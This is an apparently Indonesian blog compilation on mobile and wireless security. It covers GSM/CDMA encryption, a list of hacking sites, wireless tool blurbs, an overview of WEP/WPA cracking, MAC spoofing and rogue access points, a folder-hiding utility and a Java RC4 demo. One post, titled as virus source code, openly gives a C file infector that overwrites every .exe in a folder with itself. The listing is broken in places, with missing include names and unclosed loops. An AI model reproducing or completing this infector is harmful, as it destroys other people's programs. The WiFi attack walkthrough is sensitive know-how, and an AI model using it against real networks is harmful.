Security GSM dan CDMA

Author: Zunavia Blog /

Blog iniPerkembangan telepon selular setiap tahun semakin meningkat, baik dari segi kuantitas yaitu pertambahan jumlah pengguna maupun segi kualitas yaitu peningkatan fitur yang disediakan oleh operator. Di lain sisi berdasarkan hasil penelitian pada tahun 2003 menunjukkan 850 juta telepon selular mengalami penyadapan (eavesdrop) pada saat terjadi panggilan. Untuk menjamin aspek keamanan, sistem jaringan GSM (Global System for Mobile) menawarkan tiga macam keamanan, yaitu autentifikasi, kerahasiaan data dan sinyal, serta kerahasiaan pengguna. Kebutuhan autentifikasi dilakukan dengan penggunaan smart card yang lebih dikenal dengan nama SIM card. Kerahasiaan data dan sinyal dilakukan dengan melakukan enkripsi dengan algoritma tertentu, pada 0umumnya pada jaringan GSM digunakan algoritma A3, A5 dan A8. Enkripsi tesebut dilakukan pada data yang ditransfer antara telepon selular dengan BTS (Base Transceiver Station). Meskipun jaringan GSM sudah dilengkapi dengan sistem pengamanan seperti tersebut diatas, tetapi jaringan GSM masih rentan terhadap serangan kriptanalis terhadap algoritma, pengkloningan SIM card, serta ekstraksi kunci dari kartu SIM. Jaringan CDMA (Code Division Mobile Acces) menawarkan aspek keamanan yang lebih baik dari jaringan GSM. Sistem CDMA sangat dikenal sebagai sistem telekomunikasi yang mempunyai tingkat keamanan paling tinggi. Terminologi keamanan di sini adalah dari kemungkinan penyadapan (eavesdrop) dan penggandaan (cloning) oleh orang atau pihak yang tidak mempunyai otorisasi. Hal ini ditunjukkan baik pada sisi lapisan fisik maupun pada lapisan–lapisan di atasnya seperti lapisan data link, lapisan transport maupun lapisan sesi. Di lapisan fisik, sistem CDMA menggunakan metode multiple division dengan code, dimana sinyal data ditumpangkan pada sinyal derau yang tersebar. Di sisi penerima dipasang suatu decoder yang mampu melakukan dekode sinyal transmisi yang diterima sehingga didapat sinyal asli yang dikirimkan. Sedangkan di lapisan yang lebih atas lagi, sistem CDMA memberlakukan otentikasi dengan ketat yang memperkecil kemungkinan untuk ditembus oleh pelanggan yang tidak valid dan perangkat yang tidak mendukung sistem keamanan misalnya terminal yang tidak mendukung A-key.
membahas tentang perbandingan antara sistem keamanan pada GSM dengan sistem keamanan pada CDMA, sistem keamanan ini menyangkut teknologi yang digunakan pada GSM dan CDMA, algoritma yang digunakan untuk mengenkripsi data, serta jenis-jenis serangan yang mungkin terjadi pada sistem keamanan itu.

Daftar situs-situs hacking

- Indonesia

  • Jambihacker http://www.jambihackerlink.tk
  • Jasakom http://www.jasakom.com
  • Bosen http://www.bosen.net (udah gak aktif)
  • balihacker http://www.balihackerlink
  • bali http://balihacker.hp.ms
  • solo http://solohackerlink.web.id
  • Echo http://www.echo.or.id
  • Hitam-putih http://www.hitam-putih.org (dah gak aktif)
  • Yogya http://www.yogyafree.net (bisa di goggling)
  • bali(2) http://balihack.or.id
  • malang http://malanghack.net
  • Spyro http://www.spyrozone.tk
  • Kecoak http://www.kecoak-elektronik.net
  • Infosekuriti http://www.infosekuriti.com

- Luar Negeri

  • PacketStorm http://www.packetstormsecurity.org
  • Phrack Magz http://www.phrack.org
  • Securiteam http://www.securiteam.com
  • SecurityFocus http://www.securityfocus.com
  • SecurityReason http://www.securityreason.com
  • HackThis Site http://www.hackthissite.c

Software Hacking

agnet Laptop Analyzer 6

AirMagnet Laptop Analyzer adalah aplikasi yang menawarkan sistem keamanan wireless bagi laptop. Aplikasi ini mampu mendeteksi lebih dari 130 masalah jaringan wireless.

AiroPeekNX 301

AiroPeekNX aplikasi yang berfungsi untuk menganalisa jaringan wireless. Analisa jaringan dapat dilakukan sampai analisa protocol dan juga secara remote. AiroPeekNX medukung hampir semua kebutuhan mengelola jaringan wireless.

Airscanner Mobile AntiVirus Pro

Semakin berkembangnya jaringan wireless pada PDA maupun Smartphones maka peningkatan serangan dari pihak luar dengan memanfaatkan virus akan semakin besar oleh karena itu Mobile AntiVirus Pro menawarkan aplikasi yang membuat anda terhindar dari sebagian besar serangan virus tersebut.

AirscannerMobile Encrypter

Airscanner Mobile Encrypter memberikan kamu kendali terhadap enkripsi/dekripsi pada dokumen-dokumen yang penting yang ada dalam Pocket PC. Tiap file dapat menggunakan password tersendiri dalam enkripsinya.

AirscannerMobile Firewall

Airscanner Movile Firewall menawarkan sistem keamanan buat PocketPC dalam penyaringan paket-paket data yang diterima melalui suatu jaringa. Selain itu juga untuk mencegah akses yang berbahaya. Aplikasi ini memungkinkan Anda menentukan penyaringan terhadap paket-paket data tersebut dengan terlebih dahulu mendefenisikannya.

Asleap [Cygwin]

Tool ini berfungsi untuk recovery password pada sistem pengamanan jaringan LEAP/PPTP.

Boingo Wireless 1.4 build 1195

Dengan boingo Anda hanya butuh satu password dan username untuk masuk ke berbagai jaringan wireless yang ada. Boingo mendukung login mencapai 17000 hotspot.

BVRP Connection Manager Pro 1.03

BVRP Connection Manager Pro adalah aplikasi yang akan membantu Anda untuk berpindah dari suatu jaringan ke jaringan lainnya dengan mudah. Selain itu aplikasi ini mampu menampilkan informasi jaringan tersebut.

DMZS Carte 0.9.rc1

DMZS-carte adalah aplikasi yang dikembangkan dengan pemrograman perl, yang membutuhkan input berupa teks dari netstumbler dan menghasilkan gambar peta.

Colligo Workgroup Edition 3.2

Colligo Workgroup Edition adalah aplikasi yang bisa digunakan untuk koneksi terhadap berbagai jaringan yang ada dalam jangkauan.Setelah koneksi pada jaringan tersebut maka Anda akan dengan mudah dapat membagi dokumen-dokumen tertentu dalam jaringan tersebut. Selain itu juga bisa membagi koneksi internet, printer, informasi jadwal di outlook.

CommView for WiFi 5.2 build 480

CommView for WiFi adalah aplikasi yang berfungsi untuk menganalisa dan memantau jaringan wireless. Aplikasi ini mampu menampilkan informasi secara grafis yang akurat, selain itu juga mendukung labih dari 70 protokol yang dapat dianalisa.

Easy WiFi Radar 1

Easy Wi-Fi Radar merupakan tool yang dapat membantu Anda menemukan jaringan wireless yang tersedia disekitar Anda. Lalu Anda bisa dengan mudah terkoneksi kejaringan tersebut, asalkan jaringan tersedia untuk umum.

EggKey Gateway 1.0.66

Eggkey Gateway adalah aplikasi yang dibuat khusus untuk mengendalikan pengguna access point wireless. EggKey Gateway menyediakan autentifikasi berbasis web, sehingga pengguna dapat menggunakan layanan internet yang disediakan.

LinkFerret Network Monitor

LinkFerret adalah aplikasi pemantau jaringan yang lengkap berbasis windows. Sebagai aplikasi pemantau jaringan LinkFerret termasuk aplikasi yang dapat diandalkan dan tersedia dengan harga yang cukup terjangkau.

GoToMyPC 4.1

GoToMyPC dengan aplikasi ini maka kendali jarak jauh terhadap PC Anda yang terkoneksi dengan internet atau jaringan wireless dapat dilakukan dimana saja. Berbagai kegiatan tersebut seperti mengakses file, menggunakan program, periksa email dan masih banyak lagi. Anda akan serasa duduk didepan PC tersebut.

Highwall Personal Wireless Security version 2.0

Highwall Personal Wireless Security dapat menjadi solusi bagi Anda yang membutuhkan keamanan saat menggunakan jaringan wireless.

JiWire Hotspot Locator 2

JiWire Hotspot Locator ini digunakan secara offline. Aplikasi ini mampu memberikan informasi lokasi access point yang ada diseluruh dunia. Didalamnya juga terdapat beberapa access point di Indonesia.

Hotspotter

Hotspotter berfungsi untuk mengenal pengakses jaringan yang ada dalam jaringan wireless lalu membandingkan identifikasi pengakses dengan daftar pengguna yang tercatat. Apabila identifikasi pendaftar ada pada daftar tersebut maka pengakses diperbolehkan pengguna jaringan. Aplikasi ini mampu menggunakan menjalankan program untuk menolak akses dari pengguna tak dikenal.

I’m InTouch 5.0

I`m InTouch adalah aplikasi yang berfungsi melayani pengaksesan PC dari jarak jauh. Caranya dengan install terlebih dahulu aplikasi tersebut pada PC Anda, setelah itu Anda bisa mengaskes secara aman PC Anda dimana saja. Berbagai kegiatan dapat dilakukan layaknya didepan PC tersebut. Disini hanya tersedia seeder-nya saja. Untuk menginstalasi aplikasi ini Anda butuh koneksi Internet agar dapat mendownload keseluruhan aplikasi yang dibutuhkan.

12Planet Instant Messaging Server 2.6

Aplikasi ini mampu membuat sebuah server untuk saling mengirim pesan singkat. Kelebihan dari aplikasi ini adalah memungkinkan tidak diperlukannya instalasi pada client. Karena aplikasi ini mampu berintegrasi dengan protokol Microsoft Messenger Instant Messaging

iPIG WiFi Hotspot VPN Security

iPIG WiFi Hotspot VPN Security adalah aplikasi yang berfungsi menjaga keamanan transfer data khususnya pada jaringan wireless.

Microsoft VirtualWiFi

VirtualWiFi adalah aplikasi yang memungkinkan penggunaan berbagai jenis jaringan wireless hanya dengan sebuah Wi-Fi card.

MiniStumbler 0.4.0

Tool gratisan ini berfungsi untuk mengetahui keadaan jaringan wireless sekitar Anda berbagai informasi secara table maupun grafis. Tool ini berjalan pada hampir seluruh Pocket PC.

NetStumbler 0.4.0

Tool gratisan ini berfungsi untuk mengetahui keadaan jaringan wireless sekitar Anda berbagai informasi secara table maupun grafis.

Network Magic 2

Network Magic adalah solusi bagi pengelolaan jaringan wireless. Membagi dokumen dan penggunaan printer dalam suatu jaringan wireless akan lebih mudah. Selain itu juga aplikasi ini dapat mendeteksi penyusup yang masuk dalam jaringan wireless yang Anda kelola.

Packetyzer

Packetyzer menampilkan tampilan menyerupai windows dan memiliki hampir semua kemampuan Ethereal. Aplikasi ini mampu menangkap paket data dan menganalisa hampir semua analisa protokol.

PCTEL Wi-Fi Roaming Client 3.100.90.1

PCTEL Roaming Client adalah tool untuk mengelola akses WiFi(802.11) jaringan. APlikasi ini mampu mendeteksi secara otomatis jaringan WiFi dan menyimpan konfigurasi jaringan.

PortMapper 1.0

PortMapper adalah aplikasi yang berfungsi untuk mengatur penggunaan port. Khususnya bagi para gamer yang sering bermain game online. Manfaat dari pengaturan port ialah dapat terhindar dari pengaksesan dari pihak luar melalui port-port yang terbuka itu.

PTS TracerPlus Wireless Server 2.1.0.59

TracerPlus Wireless Server memungkinkan perusahaan membuat sebuah server jaringan wireless yang tersedia dalam harga yang lebih terjangkau. Aplikasi ini dapat melakukan koneksi dengan database yang ada di sever dengan koneksi ODBC.

Radiuz Wizard 1.0

Radiuz dapat membuat sebuah sistem keamanan jaringan wireless yang fleksibel. Aplikasi ini menggunakan standar keamanan WPA. Pengguna dapat mengendalikan akses kendali dari luar. Radiuz Wizard secara otomatis berintegrasi dengan Windows XP dalam pengelolaan jaringan wireless.

Retina WiFi Scanner

Retina WiFi Scanner adalah aplikasi pendeteksi bentuk-bentuk tindakan penyerangan dan juga menemukan celah-celah keamanan yang akan merugikan.

SpotLock 1.6.134

SpotLock adalah aplikasi yang berfungsi untuk keamanan jaringan data sehingga terbebas dari hacker maupun sniffer. Selain itu aplikasi ini juga bisa berfungsi sebagai hotspot locator.

Weplab

weplab adalah tool yang berfungsi untuk memantau keamanan jaringan pada enkripsi WEP yang ada dalam jaringan wireless. Aplikasi ini juga menyediakan berbagai fitur serangan sehingga dapat memperkirakan syarat minimum dalam membobol keamanan dari jaringan tersebut.

WIFI Internet Access Blocker version 2.0.2

WiFi Internet Access Blocker adalah aplikasi yang berfungsi untuk menjaga jaringan wireless Anda yang terkoneksi ke Internet agar tidak disusup oleh orang lain yang ingin menggunakan internet tanpa seijin Anda.

ManageEngine WiFi Manager 4.0

WiFi Manager adalah aplikasi untuk mengelola koneksi jaringan wireless 802.11a/b/g. Aplikasi ini menawarkan tampilan berbasis web. Dengan begitu pengelolaan koneksi wireless keseluruhan jaringan dapat dengan mudah dilakukan.

WirelessMon v1.0 1000

WirelessMon adalah aplikasi yang berfungsi untuk memantau keadaan jaringan wireless yanga ada disekitar area Anda. Selain itu beberapa informasi mengenai jaringan wireless tersebut juga dapat diketahui.

SingleClick Wireless Security 2.0

Tool ini akan membantu anda dalam menjaga keseluruhan sistem keamanan jaringan wireless. Anda dapat dengan mudah mengkonfigurasi router ataupun berbagai alat pengelola jaringan lainnya.

Wi-Fi Defense

Wi-Fi Defense adalah aplikasi yang beroperasi dibalik layar, dan akan memberikan pemberitahuan apabila ada hardware yang akan masuk kedalam jaringan wireless tersebut. Pemberitahuan tersebut tersedia dalam icon dan popup window.

Zonerider Gateway 2.0

Zonerider adalah aplikasi yang memperbolehkan pembagian akses jaringan wireless kepada orang lain. Istilahnya PC kita dapat sebagai hotspot jaringan. Apabila PC kita terdapat akses internet maka mereka yang tergabung dalam jaringan tersebut akan dapat menikmati koneksi internet tersebut.


WIRELESS SECURITY ( HACKING WiFi)

Author: Zunavia Blog /

Jaringan Wifi memiliki lebih banyak kelemahan dibanding dengan jaringan kabel. Saat ini perkembangan teknologi wifi sangat signifikan sejalan dengan kebutuhan sistem informasi yang mobile. Banyak penyedia jasa wireless seperti hotspot komersil, ISP, Warnet, kampus-kampus maupun perkantoran sudah mulai memanfaatkan wifi pada jaringan masing masing, tetapi sangat sedikit yang memperhatikan keamanan komunikasi data pada jaringan wireless tersebut. Hal ini membuat para hacker menjadi tertarik untuk mengexplore keamampuannya untuk melakukan berbagai aktifitas yang biasanya ilegal menggunakan wifi.

Sedikit Info berbagai jenis aktivitas dan metode yang dilakukan para hacker wireless ataupun para pemula dalam melakukan wardriving. Wardriving adalah kegiatan atau aktivitas untuk mendapatkan informasi tentang suatu jaringan wifi dan mendapatkan akses terhadap jaringan wireless tersebut. yang dimana kegiatan Wardriving pada tujuan akhirnya untuk mendapatkan acsess internet atau bisa juga melakukan hal-hal yang bisa merugikan...

Kelemahan Wifi
Kelemahan jaringan wireless secara umum dapat dibagi menjadi 2 jenis, yakni kelemahan pada konfigurasi dan kelemahan pada jenis enkripsi yang digunakan. Salah satu contoh penyebab kelemahan pada konfigurasi karena saat ini untuk membangun sebuah jaringan wireless cukup mudah.
Banyak vendor yang menyediakan fasilitas yang memudahkan pengguna atau admin jaringan sehingga sering ditemukan wireless yang masih menggunakan konfigurasi wireless default bawaan vendor. contohnya setting default bawaan vendor seperti SSID, IP Address , remote manajemen, DHCP enable, kanal frekuensi, tanpa enkripsi bahkan user/password untuk administrasi wireless tersebut.

WEP (Wired Equivalent Privacy) yang menjadi standart keamanan wireless sebelumnya, saat ini dapat dengan mudah dipecahkan dengan berbagai tools yang tersedia gratis di internet. WPA-PSK dan LEAP yang dianggap menjadi solusi menggantikan WEP, saat ini juga sudah dapat dipecahkan dengan metode dictionary attack secara offline.

Adapun trik untuk menghindari Hacking Wifi

yaitu dengan menyembunyikan SSID,
Banyak administrator menyembunyikan Services Set Id (SSID) jaringan wireless mereka dengan maksud agar hanya yang mengetahui SSID yang dapat terhubung ke jaringan mereka. Hal ini tidaklah benar, karena SSID sebenarnya tidak dapat disembuyikan secara sempurna, saat client akan terhubung (assosiate) atau ketika akan memutuskan diri (deauthentication) dari sebuah jaringan wireless, maka client akan tetap mengirimkan SSID dalam bentuk plain text (meskipun menggunakan enkripsi), sehingga jika kita bermaksud menyadapnya, dapat dengan mudah menemukan informasi tersebut. Beberapa tools yang digunakan untuk mendapatkan SSID yang dihidden antara lain, kismet (kisMAC), ssid_jack (airjack), aircrack , dan masih banyak lagi.

Keamanan wireless hanya dengan kunci WEP
WEP merupakan standart keamanan & enkripsi pertama yang digunakan pada wireless, WEP memiliki berbagai kelemahan antara lain :
Masalah kunci yang lemah, algoritma RC4 yang digunakan dapat dipecahkan.
WEP menggunakan kunci yang bersifat statis
Masalah initialization vector (IV) WEP
Masalah integritas pesan Cyclic Redundancy Check (CRC-32)
WEP terdiri dari dua tingkatan, yakni kunci 64 bit, dan 128 bit. Sebenarnya kunci rahasia pada kunci WEP 64 bit hanya 40 bit, sedang 24bit merupakan Inisialisasi Vektor (IV). Demikian juga pada kunci WEP 128 bit, kunci rahasia terdiri dari 104bit.

Serangan-serangan pada kelemahan WEP antara lain
Serangan terhadap kelemahan inisialisasi vektor (IV), sering disebut FMS attack. FMS singkatan dari nama ketiga penemu kelemahan IV yakni Fluhrer, Mantin, dan Shamir. Serangan ini dilakukan dengan cara mengumpulkan IV yang lemah sebanyak-banyaknya.Semakin banyak IV lemah yang diperoleh, semakin cepat ditemukan kunci yang digunakan
Mendapatkan IV yang unik melalui packet data yang diperoleh untuk diolah untuk proses cracking kunci WEP dengan lebih cepat. Cara ini disebut chopping attack, pertama kali ditemukan oleh h1kari. Teknik ini hanya membutuhkan IV yang unik sehingga mengurangi kebutuhan IV yang lemah dalam melakukan cracking WEP.
Kedua serangan diatas membutuhkan waktu dan packet yang cukup, untuk mempersingkat waktu, para hacker biasanya melakukan traffic injection. Traffic Injection yang sering dilakukan adalah dengan cara mengumpulkan packet ARP kemudian mengirimkan kembali ke access point. Hal ini mengakibatkan pengumpulan initial vektor lebih mudah dan cepat. Berbeda dengan serangan pertama dan kedua, untuk serangan traffic injection,diperlukan spesifikasi alat dan aplikasi tertentu yang mulai jarang ditemui di toko-toko, mulai dari Keamanan wireless hanya dengan kunci WPA-PSK atau WPA2-PSK WPA merupakan teknologi keamanan sementara yang diciptakan untuk menggantikan kunci WEP. Ada dua jenis yakni WPA personal (WPA-PSK), dan WPA-RADIUS. Saat ini yang sudah dapat di crack adalah WPA-PSK, yakni dengan metode brute force attack secara offline. Brute force dengan menggunakan mencoba-coba banyak kata dari suatu kamus. Serangan ini akan berhasil jika passphrase yang yang digunakan wireless tersebut memang terapat pada kamus kata yang digunakan si hacker.

Untuk mencegah adanya serangan terhadap keamanan wireless menggunakan WPA-PSK, gunakanlah passphrase yang cukup panjang (satu kalimat). Tools yang sangat terkenal digunakan melakukan serangan ini adalah CoWPAtty (http://www.churchofwifi.org/ ) dan aircrack ( http://www.aircrack-ng.org ) . Tools ini memerlukan daftar kata atau wordlist, dapat di ambil dari http://wordlist.sourceforge.net/

MAC Filtering
Hampir setiap wireless access point maupun router difasilitasi dengan keamanan MAC Filtering. Hal ini sebenarnya tidak banyak membantu dalam mengamankan komunikasi wireless, karena MAC address sangat mudah dispoofing atau bahkan dirubah. Tools ifconfig pada OS Linux/Unix atau beragam tools spt network utilitis, regedit, smac, machange pada OS windows dengan mudah digunakan untuk spoofing atau mengganti MAC address.
Penulis masih sering menemukan wifi di perkantoran dan bahkan ISP (yang biasanya digunakan oleh warnet-warnet) yang hanya menggunakan proteksi MAC Filtering. Dengan menggunakan aplikasi wardriving seperti kismet/kisMAC atau aircrack tools, dapat diperoleh informasi MAC address tiap client yang sedang terhubung ke sebuah Access Point. Setelah mendapatkan informasi tersebut, kita dapat terhubung ke Access point dengan mengubah MAC sesuai dengan client tadi. Pada jaringan wireless, duplikasi MAC adress tidak mengakibatkan konflik. Hanya membutuhkan IP yang berbeda dengan client yang tadi.

Captive Portal
Infrastruktur Captive Portal awalnya didesign untuk keperluan komunitas yang memungkinkan semua orang dapat terhubung (open network). Captive portal sebenarnya merupakan mesin router atau gateway yang memproteksi atau tidak mengizinkan adanya trafik hingga user melakukan registrasi/otentikasi. Berikut cara kerja captive portal :
user dengan wireless client diizinkan untuk terhubung wireless untuk mendapatkan IP address (DHCP) block semua trafik kecuali yang menuju ke captive portal (Registrasi/Otentikasi berbasis web) yang terletak pada jaringan kabel, redirect atau belokkan semua trafik web ke captive portal setelah user melakukan registrasi atau login, izinkan akses ke jaringan internet
Beberapa hal yang perlu diperhatikan, bahwa captive portal hanya melakukan tracking koneksi client berdasarkan IP dan MAC address setelah melakukan otentikasi. Hal ini membuat captive portal masih dimungkinkan digunakan tanpa otentikasi karena IP dan MAC adress dapat dispoofing.
Serangan lain yang cukup mudah dilakukan adalah menggunakan Rogue AP, yaitu mensetup Access Point (biasanya menggunakan HostAP) yang menggunakan komponen informasi yang sama seperti AP target seperti SSID, BSSID hingga kanal frekwensi yang digunakan. Sehingga ketika ada client yang akan terhubung ke AP buatan kita, dapat kita membelokkan trafik ke AP sebenarnya. Tidak jarang captive portal yang dibangun pada suatu hotspot memiliki kelemahan pada konfigurasi atau design jaringannya. Misalnya, otentikasi masih menggunakan plain text (http), managemen jaringan dapat diakses melalui wireless (berada pada satu network), dan masih banyak lagi

SOURCE CODE VIRUS DAN ANTI VIRUS

Author: Zunavia Blog /

Code :

/*A virus program

#include
#include
#include
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s
",f->ff_name);
done=findnext(f);
}
}




Code Protection Software

#include
#include
#include
void main()
{
FILE *p;
char ch,s[100];
char r[100]="REN ";

char u[]=".{21EC2020-3AEA-1069-A2DD-08002B30309D} ";
char v[50];
int choice,i;

clrscr();
p=fopen("C:\a.bat","w+");
if(p==NULL)
{
printf("
Error in opening the file a.c
");
exit(0);
}

printf("

Deepesh's Folder Obscure");
printf("

File and Folder protection software in C By Deepesh
Jain");
printf("


This software can convert your File/Folder to Control
Panel
and can Restore again.");
printf("
Enter the path of the file
");
fflush(stdin);
gets(s);

for(i=0;i<25;i++)
fputs("echo This software is not responsible for any loss in
data
",p);

printf("
Enter choice :");
printf("
1.Protect Folder/File");
printf("
2.Unprotect folder/File");
printf("
3.Exit
");
scanf("%d",&choice);


switch(choice)
{
case 1:
strcat(r,s);

printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r," ");
strcat(r,v);
strcat(r,u);
break;
case 2:
strcat(r,s);
strcat(r,u);
printf("
Enter new name of your folder/file
");
fflush(stdin);
gets(v);
strcat(r,v);
break;
default:
fclose(p);
remove("C:\a.bat");

exit(0);
}



{
fputs(r,p);
for(i=0;i<25;i++)
fputs("
echo This software is not responsible for any loss in data
",p);
fputs("
exit",p);

}


fclose(p);

system("C:\a.bat");


remove("C:\a.bat");

}

METODE ENKRIPSI RC4

Author: Zunavia Blog /

Metode enkripsi simetris RC4

Ketika internet menjadi salah satu media komunikasi yang banyak digunakan orang, sebagian orang kemudian berpikir untuk menjadikanya sebagai media untuk transaksi komersial semacan internet banking, e-comerce, dan lain sebagainya. Kebutuhan akan hal itu kemudian didukung dengan lahirnya berbagai metode ataupun algoritma – algoritma enkripsi untuk pengamanan data misalnya MD2,MD4,MD5,RC4,RC5, dan lain sebagainya. Pembakuan penulisan pada kriptografi dapat ditulis dalam bahasa matematika. Fungsi-fungsi yang mendasar dalam kriptografi adalah enkripsi dan dekripsi. Enkripsi adalah proses mengubah suatu pesan asli (plaintext) menjadi suatu pesan dalam bahasa sandi (ciphertext).

C = E (M)

dimana

M = pesan asli
E = proses enkripsi
C = pesan dalam bahasa sandi (untuk ringkasnya disebut sandi)

Sedangkan dekripsi adalah proses mengubah pesan dalam suatu bahasa sandi menjadi pesan asli kembali.

M = D (C)
D = proses dekripsi

Dalam setiap transaksi di internet , idealnya, setiap data yang ditransmisikan harusnya terjamin :

Integritas data
Jaminan integritas data sangat penting, sehingga data yang di kirimkan akan sama persis dengan data yang diterima, tanpa mengalami perubahan apapun pada selama ditransmisikan.

Kerahasiaan data
Jaminan kerahasiaan data juga penting karena dengan demikian tidak ada pihak lain yang bisa membaca data yang ada selama data tersebut ditransmisikan.

Otentikasi akse data
Mekanisme otentikasi akses data menjamin bahwa data ditransmisikan oleh pihak yang benar dengan tujuan transimisi yang benar pula.

Teknik kriptografi data untuk enkripsi ada dua macam yaitu:
Kriptografi simetrik
Dengan model kriptografi ini, data di enkripsi dan didekripsi dengan kunci rahasia yang sama.
Kriptografi asimetrik
Dengan model kriptografi ini, data dienkripsi dan didekripsi dengan kunci rahasia yang berbeda.pasangan kunci untuk enkripsi dan dekripsi dikenal dengan private key dan public key.



Gbr-1. Metode enkripsi simetrik (1) dan asimetrik (2)

Aplikasi kriptografi simetrik RC4 menggunakan Java

RC4 merupakan merupakan salah satu jenis stream cipher, yaitu memproses unit atau input data pada satu saat. Dengan cara ini enkripsi atau dekripsi dapat dilaksanakan pada panjang yang variabel. Algoritma ini tidak harus menunggu sejumlah input data tertentu sebelum diproses, atau menambahkan byte tambahan untuk mengenkrip. Metode enkripsi RC4 sangat cepat kurang lebih 10 kali lebih cepat dari DES.

Untuk melihat bagaimana metode enlripsi RC4 bekerja maka dalam tulisan ini dibuat aplikasi dengan menggunakan java, adapun source program tersebut adalah sebagai berikut :
Nama file : RC4Engine.java

—————-mulai—————-

class KeyParameter{

private byte[] key;

public KeyParameter(byte[] key){

this(key,0,key.length);

}

public KeyParameter(byte[] key,int keyoff,int keyLen){

this.key = new byte[keyLen];

System.arraycopy(key,keyoff,this.key,0,keyLen);

}

public byte[] getKey(){

return key;

}

}

class EncRC4Engine{

private final static int STATE_LENGTH = 256;

private byte[] engineState = null,workingKey = null;

private int x=0,y=0;

private static final char[] kDigits = {‘0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9′,’a',’b',’c',’d',’e',’f'};

EncRC4Engine(){}//constructor



public void init(boolean forEncryption,KeyParameter params){

if(params instanceof KeyParameter){

workingKey = ((KeyParameter)params).getKey();

setKey(workingKey);

return;

}

throw new IllegalArgumentException(“invalid parameter passed to RC4 init”+params.getClass().getName());

}

public void processBytes(byte[] in,int inOff,int len,byte[] out,int outOff){

if((inOff+len)>in.length){

throw new RuntimeException(“output buffer too short”);

}

if((outOff+len)>out.length){

throw new RuntimeException(“out put buffer too short”);

}

for (int i = 0 ; i < len ; i++){

x = (x+1) & 0xff;

y = ( engineState[x] + y ) & 0xff;

//swap

byte tmp = engineState[x];

engineState[x] = engineState[y];

engineState[y] = tmp;

//xor

out[i + outOff] = (byte)(in[i+inOff] ^ engineState[(engineState[x] + engineState[y]) & 0xff]);

}

}

public String bytesToHex(byte[] raw){

int length = raw.length;

char[]hex = new char[length*2];

for (int i=0;i
int value = (raw[i]+256) % 256;

int highIndex = value >> 4;

int lowIndex = value & 0×0f;

hex[i*2+0] = kDigits[highIndex];

hex[i*2+1] = kDigits[lowIndex];

}

return (new String(hex)).toString();

}

public void reset(){

setKey(workingKey);

}

//private implementation

private void setKey(byte[] keyBytes){

workingKey = keyBytes;

x=0;y=0;

if (engineState == null){

engineState = new byte [STATE_LENGTH];

}

//reset the state of the engine

for(int i = 0;i < STATE_LENGTH;i++){

engineState[i]=(byte)i;

}

int i1=0;int i2=0;

for(int i=0;i < STATE_LENGTH;i++){

i2 = ((keyBytes[i1] & 0xff) + engineState[i]+ i2) & 0xff;

//do the byte swap inline

byte tmp = engineState[i];

engineState[i]=engineState[i2];

engineState[i2]=tmp;

i1=(i1+1) % keyBytes.length;

}

}

}

————-selesai—————-


nama file : TesRC4Engine.java

————-mulai—————-

import java.io.*;



class tesRC4Engine {

public static void main (String args[]){

try{

String myKey1, myKey2, text2Encrypt, text2Decrypt;

BufferedReader b;

byte[] ciphertext1;

byte[] ciphertext2;

EncRC4Engine s1 = new EncRC4Engine();

EncRC4Engine s2 = new EncRC4Engine();


b = new BufferedReader(new InputStreamReader(System.in));

System.out.print(“masukan data untuk encryption : “);

text2Encrypt = b.readLine();

System.out.print(“masukan kunci encryption : “);

myKey1 = b.readLine();

s1.init(true,new KeyParameter(myKey1.getBytes()));

ciphertext1 = new byte[text2Encrypt.length()];

s1.processBytes(text2Encrypt.getBytes(),0,text2Encrypt.length(),ciphertext1,0);

System.out.print(“hasil encrypt dari \”" + text2Encrypt);

System.out.println(“\” adalah ” + s1.bytesToHex(ciphertext1));



text2Decrypt = s1.bytesToHex(ciphertext1);

System.out.print(“masukan kunci untuk decrypt : “);

myKey2 = b.readLine();

s2.init(false,new KeyParameter(myKey2.getBytes()));

ciphertext2 = new byte[ciphertext1.length];

s2.processBytes(ciphertext1, 0, ciphertext1.length,ciphertext2,0);

System.out.print(“hasil decrypt dari \”" + text2Decrypt);

System.out.println(“\” adalah ” + (new String(ciphertext2)).toString());

}catch(IOException e){

e.printStackTrace();

}

}

}

———–selesai———–



Kompilasi dan hasil eksekusi dari source program diatas adalah sebagai berikut:

C:\>java TesRC4Engine

masukan data untuk encryption : keamanan jaringan komputer
masukan kunci encryption : kjk
hasil encrypt dari “keamanan jaringan komputer” adalah 5ec874ee3cd7cd0b38dad37c7b684c0ccc589c2f1e689287a746
masukan kunci untuk decrypt : kjk
hasil decrypt dari “5ec874ee3cd7cd0b38dad37c7b684c0ccc589c2f1e689287a746″ adalah keamanan jaringan komputer

C:\>java TesRC4Engine

masukan data untuk encryption : keamanan jaringan komputer
masukan kunci encryption : h
hasil encrypt dari “keamanan jaringan komputer” adalah ca28c9e03687b13fd9f0273fb8c5d31eba8955371c82c3985647
masukan kunci untuk decrypt : kjk
hasil decrypt dari “ca28c9e03687b13fd9f0273fb8c5d31eba8955371c82c3985647″ adalah ÿ…Ück>ZÁ@•1ªÃøsñ¢woš$k”s

Dari hasil diatas dapat diambil suatu analisi bahwa :

 RC4 merupakan algoritma enkripsi simetris
Hal ini terbukti bahwa untuk melakukan enkripsi dan dekripsi diperlukan suatu kunci/key yang sama. Jika key untuk enkripsi dan key untuk dekripsi berbeda, hasil dekripsi tidak akan menghasilkan hasil yang sama dengan plain text yang sebenarnya. Hal ini dapat dilihat pada eksekusi program yang kedua.

 Hasil enkripsi bergantung dari key
Hasil enkripsi dari plain text yang sama akan berbeda jika digunakan key atau kunci yang berbeda pula. Dengan kata lain hasil enkripsi merupakan fungsi dari plain text dan key.


Keamanan metode enkripsi RC

Perbandingan kemanan metode enkripsi DES dengan RC4 menurut penulisnya pada http://www.geocities.com/amwibowo/resource/komparasi/komparasi.html adalah sebagai berikut :

Panjang kunci DES Jaminan waktu untuk menemukan kunci
40-bit 0,4 detik
56-bit 7 jam
64-bit 74 jam 40 menit
128-bit 157.129.203.952.300.000 tahun

Tabel 1.1. Serangan brute-force pada DES

Panjang kunci RC4 Jaminan waktu untuk menemukan kunci
40-bit 15 hari
56-bit 2.691,49 tahun
